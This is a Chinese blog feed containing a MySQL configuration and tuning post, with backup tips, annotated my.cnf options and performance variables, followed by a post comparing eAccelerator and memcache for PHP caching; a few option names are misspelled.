<p>1.使用php(做为现在的主流开发语言)myadmin 备份MySQL(和PHP搭配之最佳组合)的时候，只选择</p>
<p>数据:<br />
     完整插入<br />
     扩展插入</p>
<p>扩展插入不要勾选</p>
<p>2.使用 MySQL(和PHP搭配之最佳组合)dump 备份的时候不添加 &#8211;opt  </p>
<p>这样就只会生成完整的insert语句，导入时候不会出错。</p>
<p>3.修改my.ini</p>
<p>打开my.ini 找到[MySQL(和PHP搭配之最佳组合)d]这一行，下面添加</p>
<p>[MySQL(和PHP搭配之最佳组合)d]</p>
<p>#扩大缓冲区<br />
max_allowed_packet=32M  <br />
保存后，重启MySQL(和PHP搭配之最佳组合)</p>
<div>
<p>my.cnf配置(转)</p>
<p>mysqld程序&#8211;目录和文件<br />
basedir = path 使用给定目录作为根目录(安装目录)。<br />
character-sets-dir = path 给出存放着字符集的目录。<br />
datadir = path 从给定目录读取数据库文件。<br />
pid-file = filename 为mysqld程序指定一个存放进程ID的文件(仅适用于UNIX/Linux系统); Init-V脚本需要使用这个文件里的进程ID结束mysqld进程。<br />
socket = filename 为MySQL客户程序与服务器之间的本地通信指定一个套接字文件(仅适用于UNIX/Linux系统; 默认设置一般<br />
是/var/lib/mysql/mysql.sock文件)。<br />
在Windows环境下，如果MySQL客户与服务器是通过命名管道进行通信的，&#8211;sock选项给出的将是该命名管道的名字(默认设置是MySQL)。 lower_case_table_name = 1/0 新目录和数据表的名字是否只允许使用小写字母; 这个选项在Windows环境下的默认设置是1(只允许使用小写字母)。<br />
mysqld程序&#8211;语言设置<br />
character-sets-server = name 新数据库或数据表的默认字符集。为了与MySQL的早期版本保持兼容，这个字符集也可以用&#8211;default-character-set选项给出; 但这个选项已经显得有点过时了。<br />
collation-server = name 新数据库或数据表的默认排序方式。<br />
lanuage = name 用指定的语言显示出错信息。<br />
mysqld程序&#8211;通信、网络、信息安全<br />
enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名管道(named pipe)进行通信。这个命名管道的默认名字是MySQL，但可以用&#8211;socket选项来改变。<br />
local-infile [=0] 允许/禁止使用LOAD DATA LOCAL语句来处理本地文件。<br />
myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4种:DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchk程序的同名选项作用相同。<br />
old-passwords 使用MySQL 3.23和4.0版本中的老算法来加密mysql数据库里的密码(默认使用MySQL 4.1版本开始引入的新加密算法)。 port = n 为MySQL程序指定一个TCP/IP通信端口(通常是3306端口)。<br />
safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用户才能使用GRANT命令; 这是一种双保险机制(此用户还必须具备GRANT权限才能执行GRANT命令)。<br />
shared-memory 允许使用内存(shared memory)进行通信(仅适用于Windows)。<br />
shared-memory-base-name = name 给共享内存块起一个名字(默认的名字是MySQL)。<br />
skip-grant-tables 不使用mysql数据库里的信息来进行访问控制(警告:这将允许用户任何用户去修改任何数据库)。<br />
skip-host-cache 不使用高速缓存区来存放主机名和IP地址的对应关系。<br />
skip-name-resovle 不把IP地址解析为主机名; 与访问控制(mysql.user数据表)有关的检查全部通过IP地址行进。<br />
skip-networking 只允许通过一个套接字文件(Unix/Linux系统)或通过命名管道(Windows系统)进行本地连接，不允许ICP/IP连接; 这提高了安全性，但阻断了来自网络的外部连接和所有的Java客户程序(Java客户即使在本地连接里也使用TCP/IP)。<br />
user = name mysqld程序在启动后将在给定UNIX/Linux账户下执行; mysqld必须从root账户启动才能在启动后切换到另一个账户下执行;<br />
mysqld_safe脚本将默认使用&#8211;user=mysql选项来启动mysqld程序。<br />
mysqld程序&#8211;内存管理、优化、查询缓存区<br />
bulk_insert_buffer_size = n 为一次插入多条新记录的INSERT命令分配的缓存区长度(默认设置是8M)。<br />
key_buffer_size = n 用来存放索引区块的RMA值(默认设置是8M)。<br />
join_buffer_size = n 在参加JOIN操作的数据列没有索引时为JOIN操作分配的缓存区长度(默认设置是128K)。<br />
max_heap_table_size = n HEAP数据表的最大长度(默认设置是16M); 超过这个长度的HEAP数据表将被存入一个临时文件而不是驻留在内存里。<br />
max_connections = n MySQL服务器同时处理的数据库连接的最大数量(默认设置是100)。<br />
query_cache_limit = n 允许临时存放在查询缓存区里的查询结果的最大长度(默认设置是1M)。<br />
query_cache_size = n 查询缓存区的最大长度(默认设置是0，不开辟查询缓存区)。<br />
query_cache_type = 0/1/2 查询缓存区的工作模式:0, 禁用查询缓存区; 1，启用查询缓存区(默认设置); 2，”按需分配”模式，只响应SELECT <a href="http://www.5bay.cn/tag/sql" class="st_tag internal_tag" rel="tag" title="标签 sql 下的日志">SQL</a>_CACHE命令。<br />
read_buffer_size = n 为从数据表顺序读取数据的读操作保留的缓存区的长度(默认设置是128KB); 这个选项的设置值在必要时可以用SQL命令SET SESSION read_buffer_size = n命令加以改变。<br />
read_rnd_buffer_size = n 类似于read_buffer_size选项，但针对的是按某种特定顺序(比如使用了ORDER BY子句的查询)输出的查询结果(默认设置是256K)。<br />
sore_buffer = n 为排序操作分配的缓存区的长度(默认设置是2M); 如果这个缓存区太小，则必须创建一个临时文件来进行排序。<br />
table_cache = n 同时打开的数据表的数量(默认设置是64)。<br />
tmp_table_size = n 临时HEAP数据表的最大长度(默认设置是32M); 超过这个长度的临时数据表将被转换为MyISAM数据表并存入一个临时文件。<br />
mysqld程序&#8211;日志<br />
log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />
log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />
long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />
long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同&#8211;log-slow-queries选项)。<br />
log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />
log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />
max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />
binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />
binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />
sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />
log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br />
mysqld程序&#8211;<a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" class="st_tag internal_tag" rel="tag" title="标签 镜像 下的日志">镜像</a>(主控镜像服务器)<br />
server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />
log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />
binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br />
mysqld程序&#8211;镜像(从属镜像服务器)<br />
server-id = n 给服务器分配一个唯一的ID编号<br />
log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />
master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />
master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />
master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，它将忽略此选项。<br />
master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />
read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />
read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />
replicate-do-table = dbname.tablename 与&#8211;replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%&#8211;对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。<br />
replicate-do-db = name 只对这个数据库进行镜像处理。<br />
replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />
replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />
replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />
replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />
report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关&#8211;主控服务器可以用这条命令生成一份从属服务器的名单。<br />
slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信&#8211;如果它们都支持这么做的话。<br />
slave-skip-errors = n1, n2, &#8230;或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />
如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />
slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br />
mysqld&#8211;InnoDB&#8211;基本设置、表空间文件<br />
skip-innodb 不加载InnoDB数据表驱动程序&#8211;如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />
innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />
innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话，这个数字很可能需要加大。<br />
innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />
innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />
例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />
除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />
innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的增大速度相对是比较小的。<br />
innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />
innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br />
mysqld程序&#8211;InnoDB&#8211;日志<br />
innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目录作为自己保存日志文件的位置。<br />
innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />
innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，每隔一秒进行一次同步。<br />
innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，用O_SYNC()函数进行同步。<br />
innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br />
mysqld程序&#8211;InnoDB&#8211;缓存区的设置和优化<br />
innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />
innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />
innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />
innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />
innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br />
mysqld程序&#8211;其它选项</p>
<p>bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />
default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过&#8211;default-table-type选项来设置。<br />
default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />
ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />
Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />
Sql-mode = model1, mode2, &#8230; MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、oracle、no_zero_date、pipes_as_concat。<br />
注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</p>
<div>
<p>MySQL的系统变量以调优性能</p>
<p>(1)、back_log：<br />
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。<br />
back_log值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。 试图设定back_log高于你的操作系统的限制将是无效的。<br />
当你观察你的主机进程列表，发现大量 264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。</p>
<p>(2)、interactive_timeout：<br />
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。</p>
<p>(3)、key_buffer_size：<br />
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。</p>
<p>(4)、max_connections：<br />
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。</p>
<p>(5)、record_buffer：<br />
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)</p>
<p>(6)、sort_buffer：<br />
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。</p>
<p>(7)、table_cache：<br />
为所有线程打开表的数量。增加该值能增加mysqld要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。</p>
<p>(8)、thread_cache_size：<br />
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。</p>
<p>(10)、wait_timeout：<br />
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。</p>
<p>注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。</p>
<div>
<p>MySQL 的max_allowed_packet保护导致MySQL Server 不断的启停</p>
<p>那到底是什么原因造成MySQL死掉又启来呢？</p>
<p>如果MySQL能够正常自动启动，那访问这个页面对MySQL的影响是数据库系统可以自动识别出来的，出于一种自动保护的原因，它才会shutdown MySQL.</p>
<p>基于以上的原因，开始查找资料，看都有在哪些情况下MySQL会自动shutdown后又立即startup的。<br />
  <br />
首先想到的是buffer(read,sort,temp etc.)不足，那么修改配置文件，把它们都增大一倍后重启MySQL，还是同样的会死掉。</p>
<p>接下来想到的就是可能请求的连接包过大，检查配置文件，其中并没有max_allowed_packet声明。在配置文件中，设置max_allowed_packet=2M后，重新启动MySQL，问题解决！</p>
<p>呵呵，看来mysql的配置文件中还有很多内容可挖的哟，以后得多多注意了。</p>
</div>
</div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%90%AB%E4%B9%89" title="含义" rel="tag">含义</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9C%80%E5%BF%AB" title="最快" rel="tag">最快</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>eAccelerator与memcache的区别与用途</title>
		<link>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html</link>
		<comments>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:18:41 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[提速]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=361</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>eAccelerator和memcache，是目前较为主流的两个可使用在PHP之中的缓存加速工具． eAccelerator专门为PHP开发，而memcache不仅仅用在PHP之中，其他所有的语言都可以使用． 　eAccelerator的主要功能：    1. 缓存PHP文件的执行代码：在被缓存的代码再次被调用时，将直接从内存读取，从而在很大程度了PHP运行的速度．    2. 提供了共享内存操作函数：用户可以将自己的常见非资源对像，保存到内存之中，并可以随时读取出来． 　memcache的主要功能： 　提供共享内存操作函数，可以保存和读取数据 　两者的共同点： 　共同点：都提供了共享内存操作函数，可以用来保存和读取自己的数据 　两者的区别： 　eAccelerator作为PHP的扩展库存在，那么仅在PHP运行时，可以操作和读写共享内存，一般情况，只能由操作共享内存的程序自己调用． 　同时，eAccelerator可以缓存PHP程序的执行代码，提升程序的调入和执行速度． 　memcache主要作为一个共享内存服务器，其PHP扩展库仅仅作为PHP到memcache的连接库存在，类似MySQL扩展库．因而，memcache可以完全脱离PHP，其共享的数据，可以被不同的程序调用． 　根据两者的不同，我们将他们使用在真真需要的地方： 　eAccelerator主要用于单机PHP提速，缓存中间数据．对于实时性高，但数据操作量小的情况下，非常实用． 　memcache用于分布式或者集群系统，多台服务器可以共享数据．对于实时性高，同时数据操作量大的情况下，非常实用． 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>eAccelerator和memcache，是目前较为主流的两个可使用在PHP之中的缓存加速工具．</p>
<p>eAccelerator专门为PHP开发，而memcache不仅仅用在PHP之中，其他所有的语言都可以使用．</p>
<p>　eAccelerator的主要功能：<br />
   1. 缓存PHP文件的执行代码：在被缓存的代码再次被调用时，将直接从内存读取，从而在很大程度了PHP运行的速度．<br />
   2. 提供了共享内存操作函数：用户可以将自己的常见非资源对像，保存到内存之中，并可以随时读取出来．</p>
<p>　memcache的主要功能：<br />
　提供共享内存操作函数，可以保存和读取数据</p>
<p>　两者的共同点：<br />
　共同点：都提供了共享内存操作函数，可以用来保存和读取自己的数据</p>
<p>　两者的区别：<br />
　eAccelerator作为PHP的扩展库存在，那么仅在PHP运行时，可以操作和读写共享内存，一般情况，只能由操作共享内存的程序自己调用．<br />
　同时，eAccelerator可以缓存PHP程序的执行代码，提升程序的调入和执行速度．<br />
　memcache主要作为一个共享内存服务器，其PHP扩展库仅仅作为PHP到memcache的连接库存在，类似MySQL扩展库．因而，memcache可以完全脱离PHP，其共享的数据，可以被不同的程序调用．</p>
<p>　根据两者的不同，我们将他们使用在真真需要的地方：<br />
　eAccelerator主要用于单机PHP提速，缓存中间数据．对于实时性高，但数据操作量小的情况下，非常实用．<br />
　memcache用于分布式或者集群系统，多台服务器可以共享数据．对于实时性高，同时数据操作量大的情况下，非常实用．</p>
